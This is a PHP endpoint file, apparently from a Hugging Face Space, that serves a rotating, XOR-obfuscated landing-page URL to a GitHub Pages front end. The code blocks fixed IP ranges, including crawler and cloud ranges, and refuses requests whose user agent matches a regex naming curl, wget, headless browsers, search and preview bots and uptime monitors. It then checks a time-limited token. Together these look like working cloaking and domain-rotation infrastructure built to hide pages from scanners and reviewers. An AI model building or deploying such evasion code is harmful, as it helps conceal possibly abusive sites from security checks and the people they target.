Spaces:
Sleeping
Sleeping
Download api.php from Web517/d8a6e8d7am: direct link, hf CLI and curl.
- Browser
- Download file 6.56 kB
-
https://huggingface.co/spaces/Web517/d8a6e8d7am/resolve/main/api.php
- Command line
-
hf download hf://spaces/Web517/d8a6e8d7am/api.php
-
curl -L -o api.php https://huggingface.co/spaces/Web517/d8a6e8d7am/resolve/main/api.php
6.56 kB
| // ========================================== | |
| // API ПРОКСИ ДЛЯ GITHUB PAGES | |
| // Возвращает свежую ссылку в JSON формате | |
| // ========================================== | |
| header("Access-Control-Allow-Origin: *"); | |
| header("Content-Type: application/json; charset=UTF-8"); | |
| header("Cache-Control: no-store, no-cache, must-revalidate"); | |
| header("Pragma: no-cache"); | |
| define("CACHE_FILE", __DIR__ . "/domain_cache.txt"); | |
| define("XOR_KEY", "ui-sess-v4-8921-xb-log"); // Должен совпадать с get.php | |
| // Функция дешифрования | |
| function xor_decode($base64_string, $key) { | |
| $string = base64_decode($base64_string); | |
| $out = ''; | |
| for ($i = 0; $i < strlen($string); $i++) { | |
| $out .= $string[$i] ^ $key[$i % strlen($key)]; | |
| } | |
| return $out; | |
| } | |
| // Функция проверки IP по CIDR | |
| function ip_in_cidr($ip, $cidr) { | |
| if (strpos($cidr, '/') === false) { | |
| return $ip === $cidr; | |
| } | |
| list($subnet, $mask) = explode('/', $cidr); | |
| $subnet = ip2long($subnet); | |
| $ip = ip2long($ip); | |
| $mask = -1 << (32 - $mask); | |
| $subnet &= $mask; | |
| return ($ip & $mask) == $subnet; | |
| } | |
| // Определение IP клиента. | |
| // Берем ПОСЛЕДНИЙ элемент X-Forwarded-For: его дописывает доверенный прокси платформы, | |
| // а первый элемент клиент может подделать и обойти черный список. | |
| $client_ip = ''; | |
| if (!empty($_SERVER['HTTP_X_FORWARDED_FOR'])) { | |
| $ips = explode(',', $_SERVER['HTTP_X_FORWARDED_FOR']); | |
| $client_ip = trim(end($ips)); | |
| } elseif (!empty($_SERVER['HTTP_CF_CONNECTING_IP'])) { | |
| $client_ip = trim($_SERVER['HTTP_CF_CONNECTING_IP']); | |
| } else { | |
| $client_ip = $_SERVER['REMOTE_ADDR'] ?? ''; | |
| } | |
| // Проверка по черному списку | |
| $blacklist = [ | |
| '79.137.0.0/16', | |
| '66.249.0.0/16', | |
| '205.169.39.0/24', | |
| '34.0.0.0/8', | |
| '103.196.9.0/24', | |
| '193.233.223.41', | |
| '192.159.101.189', | |
| '185.221.199.229', | |
| '135.136.0.21', | |
| '198.44.135.79' | |
| ]; | |
| foreach ($blacklist as $cidr) { | |
| $cidr = trim($cidr); | |
| if (empty($cidr)) continue; | |
| if (ip_in_cidr($client_ip, $cidr)) { | |
| http_response_code(403); | |
| die(); // Early Exit для ботов | |
| } | |
| } | |
| // === BOT GUARD (настройки обновляет update_landings.py из config.json) === | |
| define('GUARD_SECRET', '2fda118de8700f39bac5148dfeb346fb'); | |
| define('GUARD_MODE', 'shadow'); // shadow | soft | strict | |
| define('GUARD_WINDOW', 30); // минуты | |
| define('GUARD_LOG', __DIR__ . '/bot_guard.log'); | |
| $GUARD_UA_RE = '/curl\/|wget|python-requests|python-urllib|urllib\/|okhttp|Go-http-client|java\/|apache-httpclient|libwww|WWW-Mechanize|scrapy|aiohttp|node-fetch|axios\/|httpx|HeadlessChrome|PhantomJS|SlimerJS|puppeteer|playwright|selenium|bot|crawler|spider|slurp|facebookexternalhit|TelegramBot|Discordbot|Twitterbot|LinkedInBot|Embedly|YandexBot|Baiduspider|DuckDuckBot|ia_archiver|pingdom|StatusCake|UptimeRobot/i'; | |
| // Тот же djb2, что и в JS лендинга: h = (h*33 + code) mod 2^32, вывод в base36 | |
| function guard_hash($s) { | |
| $h = 5381; | |
| for ($i = 0; $i < strlen($s); $i++) { | |
| $h = ((($h << 5) + $h) + ord($s[$i])) & 0xFFFFFFFF; | |
| } | |
| return base_convert((string)$h, 10, 36); | |
| } | |
| function guard_token_valid($t, $k) { | |
| $t = (int)$t; | |
| if ($t <= 0 || abs(time() - $t) > GUARD_WINDOW * 60) return false; | |
| return guard_hash(GUARD_SECRET . '|' . $t) === $k; | |
| } | |
| // Лог теневого режима и блокировок (ротация простым сбросом при 2 МБ) | |
| function guard_log($reason, $ip) { | |
| if (is_file(GUARD_LOG) && filesize(GUARD_LOG) > 2097152) { | |
| @file_put_contents(GUARD_LOG, ''); | |
| } | |
| $line = sprintf( | |
| "%s\t%s\t%s\t%s\n", | |
| date('Y-m-d H:i:s'), | |
| $reason, | |
| $ip, | |
| substr(trim($_SERVER['HTTP_USER_AGENT'] ?? ''), 0, 200) | |
| ); | |
| @file_put_contents(GUARD_LOG, $line, FILE_APPEND | LOCK_EX); | |
| } | |
| $guard_reason = null; | |
| $guard_token_fail = false; | |
| $ua = trim($_SERVER['HTTP_USER_AGENT'] ?? ''); | |
| if ($ua === '' || preg_match($GUARD_UA_RE, $ua)) { | |
| $guard_reason = 'ua_bot'; | |
| } else { | |
| $t = $_GET['t'] ?? ''; | |
| $k = $_GET['k'] ?? ''; | |
| if (!guard_token_valid($t, $k)) { | |
| $guard_token_fail = true; | |
| $sfm = $_SERVER['HTTP_SEC_FETCH_MODE'] ?? ''; | |
| $sfs = $_SERVER['HTTP_SEC_FETCH_SITE'] ?? ''; | |
| $browser_fetch = in_array($sfm, ['cors', 'same-origin', 'no-cors'], true) | |
| && ($sfs === '' || in_array($sfs, ['cross-site', 'same-site', 'same-origin', 'none'], true)); | |
| if (GUARD_MODE === 'strict') { | |
| $guard_reason = 'no_token'; | |
| } elseif (GUARD_MODE === 'soft') { | |
| if (!$browser_fetch) $guard_reason = 'no_token'; | |
| } | |
| // shadow: блокируем только явных ботов, остальное пишем в лог | |
| } | |
| } | |
| if ($guard_token_fail) { | |
| guard_log($guard_reason !== null ? $guard_reason : (GUARD_MODE === 'shadow' ? 'shadow_no_token' : 'soft_pass'), $client_ip); | |
| } | |
| if ($guard_reason !== null) { | |
| http_response_code(403); | |
| die(); | |
| } | |
| $cache_file = CACHE_FILE; | |
| $api_response = ""; | |
| // Безопасное чтение файла с защитой от гонки процессов | |
| if (file_exists($cache_file)) { | |
| $fp = fopen($cache_file, "r"); | |
| if (flock($fp, LOCK_SH)) { | |
| $fsize = filesize($cache_file); | |
| if ($fsize > 0) { | |
| $content = fread($fp, $fsize); | |
| if (!empty($content)) { | |
| $api_response = trim($content); | |
| } | |
| } | |
| flock($fp, LOCK_UN); | |
| } | |
| fclose($fp); | |
| } | |
| if (!empty($api_response)) { | |
| $url = xor_decode($api_response, XOR_KEY); | |
| if (strpos($url, 'http') === 0) { | |
| echo json_encode([ | |
| "success" => true, | |
| "url" => $url | |
| ], JSON_UNESCAPED_SLASHES); | |
| } else { | |
| http_response_code(500); | |
| echo json_encode([ | |
| "success" => false, | |
| "error" => "Invalid decoded URL. Make sure get.php is running." | |
| ]); | |
| } | |
| } else { | |
| http_response_code(404); | |
| echo json_encode([ | |
| "success" => false, | |
| "error" => "No cache available. Wait for get.php to run." | |
| ]); | |
| } | |